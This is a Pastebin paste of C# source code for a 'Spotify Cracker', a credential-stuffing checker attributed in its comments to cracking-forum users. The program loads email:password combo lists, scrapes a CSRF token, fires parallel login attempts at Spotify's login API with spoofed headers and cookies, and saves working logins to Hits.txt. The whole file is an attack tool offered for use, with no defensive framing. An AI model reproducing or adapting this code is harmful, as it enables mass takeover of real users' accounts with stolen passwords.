Advertisement
Guest User

Untitled

a guest
Feb 16th, 2019
1,046
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.77 KB | None | 0 0
  1. using Checker_v1;
  2. using System;
  3. using System.Collections;
  4. using System.Collections.Generic;
  5. using System.Diagnostics;
  6. using System.IO;
  7. using System.Linq;
  8. using System.Net;
  9. using System.Security.Cryptography;
  10. using System.Text;
  11. using System.Threading;
  12. using System.Threading.Tasks;
  13. using System.Timers;
  14.  
  15. namespace Checker_v1
  16. {
  17.  
  18. internal static class Program
  19. {
  20.  
  21. private static string combo = "combo.txt";
  22. private static Queue<string> comboQueue = new Queue<string>();
  23. public static Random Random = new Random(Environment.TickCount ^ DateTime.Now.Millisecond);
  24. private static CookieContainer logincookie;
  25. private static List<string> multilist = new List<string>();
  26. private static int loadedcombos = File.ReadLines(Program.combo).Count();
  27. private static int good;
  28. private static int bad;
  29. private static int @checked;
  30. private static bool writebadlines = false;
  31. private static bool savefreehits;
  32. private static int cpm;
  33. private static int cpm2;
  34. private static string writelines;
  35. private static string savefree;
  36.  
  37.  
  38. [STAThread]
  39. private static void t_Elapsed(object sender, ElapsedEventArgs e)
  40. {
  41. Program.cpm2 = Program.cpm;
  42. Program.cpm = 0;
  43. }
  44. [STAThread]
  45.  
  46. public static void Main()
  47. {
  48. System.Timers.Timer timer = new System.Timers.Timer(1000.0);
  49. timer.AutoReset = true;
  50. timer.Elapsed += Program.t_Elapsed;
  51. timer.Start();
  52.  
  53. //string value = "Spotify Brute Checker by AnimuCracku | Nulled UID: 1502552 | CrackedTO: 16770";
  54. string v1 = comboQueue.Count.ToString();
  55. //Console.WriteLine("Nulled: xMiroSLAVe | UID: 1502552");
  56.  
  57.  
  58. //Console.Title = "Spotify Cracker - Hits: " + Program.good + " - Checked: " + Program.@checked + " - Remaining: " + Program.comboQueue.Count + " - CPM: " + Program.cpm2 * 60;
  59. Console.ForegroundColor = ConsoleColor.Green;
  60. Console.WriteLine(v1);
  61. Console.ForegroundColor = ConsoleColor.White;
  62. foreach (string item in File.ReadLines(Program.combo))
  63. {
  64. Program.comboQueue.Enqueue(item);
  65. }
  66. Console.Clear();
  67. Console.WriteLine("Loaded " + Program.comboQueue.Count + " Combos");
  68. Console.ForegroundColor = ConsoleColor.Green;
  69. Console.WriteLine(v1);
  70.  
  71. Console.WriteLine("");
  72. Console.ForegroundColor = ConsoleColor.White;
  73. Program.TestCombo();
  74. }
  75.  
  76.  
  77.  
  78. public static void TestCombo()
  79. {
  80. string[] combo = File.ReadAllLines("combo.txt");
  81. Parallel.ForEach(combo, delegate (string line)
  82. {
  83. string[] array = line.Split(':');
  84. Program.CheckLogin(array[0], array[1]);
  85. });
  86. }
  87. public static string GetStringBetween(string strBegin, string strEnd, string strSource)
  88. {
  89. string[] result = { string.Empty, string.Empty };
  90. int iIndexOfBegin = strSource.IndexOf(strBegin);
  91.  
  92. if (iIndexOfBegin != -1)
  93. {
  94.  
  95. strSource = strSource.Substring(iIndexOfBegin + strBegin.Length);
  96.  
  97. int iEnd = strSource.IndexOf(strEnd);
  98. if (iEnd != -1)
  99. {
  100. result[0] = strSource.Substring(0, iEnd);
  101. if (iEnd + strEnd.Length < strSource.Length)
  102. result[1] = strSource.Substring(iEnd + strEnd.Length);
  103. }
  104. }
  105. else
  106. result[1] = strSource;
  107. return result[0];
  108. }
  109.  
  110.  
  111. private static void CheckLogin(string email, string password)
  112. {
  113. try
  114. {
  115.  
  116.  
  117. Console.Title = "Spotify Cracker - Hits: " + Program.good + " - Checked: " + Program.@checked + " - Remaining: " + Program.comboQueue.Count + " - CPM: " + Program.cpm2 * 60;
  118. try
  119. {
  120. string text = Program.comboQueue.Dequeue();
  121. try
  122. {
  123.  
  124.  
  125.  
  126. CookieContainer cookieContainer = new CookieContainer();
  127.  
  128.  
  129. HttpWebRequest httpWebRequest = (HttpWebRequest)HttpWebRequest.Create("https://accounts.spotify.com/en/login?continue=https:%2F%2Fwww.spotify.com%2Fint%2Faccount%2Foverview%2F");
  130. httpWebRequest.Method = "GET";
  131. httpWebRequest.CookieContainer = cookieContainer;
  132. httpWebRequest.Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8";
  133.  
  134. httpWebRequest.ContentType = "application/json";
  135. httpWebRequest.UserAgent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)";
  136.  
  137.  
  138.  
  139. var response = httpWebRequest.GetResponse() as HttpWebResponse;
  140.  
  141.  
  142.  
  143.  
  144.  
  145. string allheads = response.Headers.ToString();
  146. string csrf = GetStringBetween("csrf_token=", ";", allheads);
  147. // Console.Write(csrf);
  148.  
  149.  
  150. try
  151. {
  152. WebResponse webResponse = (HttpWebResponse)httpWebRequest.GetResponse();
  153. Program.logincookie = cookieContainer;
  154. StreamReader streamReader = new StreamReader(webResponse.GetResponseStream());
  155. string rea = streamReader.ReadToEnd();
  156. streamReader.Close();
  157. webResponse.Close();
  158. if (allheads.Contains("csrf"))
  159. {
  160.  
  161.  
  162. try
  163. {
  164.  
  165. string x = "remember=true&username=" + email + "&password=" + password + "&csrf_token=" + csrf;
  166. CookieContainer cookieContainer2 = new CookieContainer();
  167. UTF8Encoding uTF8Encoding = new UTF8Encoding();
  168. byte[] bytes = uTF8Encoding.GetBytes(x);
  169.  
  170.  
  171. HttpWebRequest httpWebRequest2 = (HttpWebRequest)HttpWebRequest.Create("https://accounts.spotify.com/api/login");
  172. httpWebRequest2.Method = "POST";
  173.  
  174.  
  175. httpWebRequest2.ServicePoint.ConnectionLimit = 9999999;
  176.  
  177.  
  178. httpWebRequest2.ContentLength = bytes.Length;
  179. httpWebRequest2.Accept = "application/json, text/plain, */*";
  180. httpWebRequest2.Host = "accounts.spotify.com";
  181. httpWebRequest2.UserAgent = "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36";
  182. httpWebRequest2.ContentType = "application/x-www-form-urlencoded";
  183.  
  184. httpWebRequest2.Referer = "https://accounts.spotify.com/en/login/?continue=https:%2F%2Fwww.spotify.com%2Fnl%2Faccount%2Foverview%2F&_locale=nl-NL";
  185. httpWebRequest2.Headers.Add("Origin", "https://accounts.spotify.com");
  186. httpWebRequest2.Headers.Add("DNT", "1");
  187. httpWebRequest2.Headers.Add("Cookie", "sp_t=561d116d78f6d6e289532a24e44024b6; sp_new=1; spot=%7B%22t%22%3A1540743654%2C%22m%22%3A%22nl%22%2C%22p%22%3Anull%7D; sp_ab=%7B%222018_10_acq_signup_swap_fields%22%3A%22control%22%2C%222018_09_acq_signup_confirm_email%22%3A%22control%22%2C%222018_08_acq_signup_components_update%22%3A%22control%22%2C%222016_12_headspace_carousel%22%3A%22show_headspace%22%7D; sp_usid=a9d08f5c-4f1a-481f-a42d-1792c4e3d7dc; csrf_token=" + csrf + "; __bon=MHwwfC02MjU0NzIyNDZ8LTI2MjY5ODM0MzMyfDF8MXwxfDA=; fb_continue=https%3A%2F%2Fwww.spotify.com%2Fnl%2Faccount%2Foverview%2F; _ga=GA1.2.2135662364.1540743668; _gid=GA1.2.979118693.1540743668; _gat=1; remember=" + email);
  188. httpWebRequest2.Headers.Add("Accept-Encoding", "gzip, deflate, br");
  189. httpWebRequest2.Headers.Add("Accept-Language", "en-US,en;q=0.8");
  190.  
  191.  
  192.  
  193.  
  194. httpWebRequest2.Timeout = 5000;
  195.  
  196.  
  197. Stream requestStream = httpWebRequest2.GetRequestStream();
  198. requestStream.Write(bytes, 0, bytes.Length);
  199. requestStream.Close();
  200.  
  201.  
  202.  
  203.  
  204. try
  205. {
  206. WebResponse webResponse2 = (HttpWebResponse)httpWebRequest2.GetResponse();
  207. Program.logincookie = cookieContainer;
  208. StreamReader streamReader2 = new StreamReader(webResponse2.GetResponseStream());
  209. string read2 = streamReader2.ReadToEnd();
  210. string heads2 = webResponse2.Headers.ToString();
  211.  
  212.  
  213. streamReader.Close();
  214. webResponse.Close();
  215. @checked++;
  216. if (!read2.Contains("errorInvalidCredentials") && !read2.Contains("server_error") && !read2.Contains("errorUnknown"))
  217. {
  218.  
  219.  
  220.  
  221.  
  222. Console.ForegroundColor = ConsoleColor.Green;
  223.  
  224. Console.WriteLine("[HIT] " + email + ":" + password);
  225. @checked++;
  226. good++;
  227. cpm++;
  228. TextWriter textWriter = new StreamWriter("Hits.txt", true);
  229. textWriter.WriteLine(email + ":" + password);
  230. textWriter.Close();
  231. requestStream.Close();
  232. }
  233. else
  234. {
  235.  
  236. requestStream.Close();
  237. webResponse.Close();
  238.  
  239. if (writebadlines == true)
  240. {
  241. Console.ForegroundColor = ConsoleColor.Red;
  242. Console.WriteLine("[BAD] " + email);
  243.  
  244. }
  245. if(savefreehits == true)
  246. {
  247. TextWriter textWriter = new StreamWriter("Free.txt", true);
  248. textWriter.WriteLine("email" + ":" + password);
  249. textWriter.Close();
  250.  
  251. }
  252. @checked++;
  253. bad++;
  254. cpm++;
  255.  
  256. }
  257.  
  258.  
  259. }
  260. catch (WebException)
  261. {
  262.  
  263. requestStream.Close();
  264. webResponse.Close();
  265.  
  266.  
  267. Console.ForegroundColor = ConsoleColor.Red;
  268. Console.WriteLine("[BAD] " + email);
  269.  
  270. }
  271. catch (Exception)
  272. {
  273.  
  274. requestStream.Close();
  275. webResponse.Close();
  276.  
  277.  
  278. Console.ForegroundColor = ConsoleColor.Red;
  279. Console.WriteLine("[BAD] " + email);
  280.  
  281. }
  282. }
  283. catch (WebException)
  284. {
  285. Console.ForegroundColor = ConsoleColor.Red;
  286. Console.WriteLine("[BAD] " + email);
  287. }
  288. }
  289. }
  290. catch (Exception)
  291. {
  292. Console.ForegroundColor = ConsoleColor.Red;
  293. Console.WriteLine("[BAD] " + email);
  294. }
  295. }
  296. catch (WebException)
  297. {
  298.  
  299.  
  300.  
  301. Console.ForegroundColor = ConsoleColor.Red;
  302. Console.WriteLine("[BAD] " + email);
  303.  
  304. }
  305.  
  306.  
  307.  
  308.  
  309.  
  310.  
  311.  
  312.  
  313.  
  314.  
  315. // END CHECKLOGIN
  316. }
  317. catch (Exception ex)
  318. {
  319.  
  320. }
  321.  
  322.  
  323. }
  324. catch (Exception ex)
  325. {
  326.  
  327. }
  328. }
  329.  
  330.  
  331.  
  332. }
  333. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement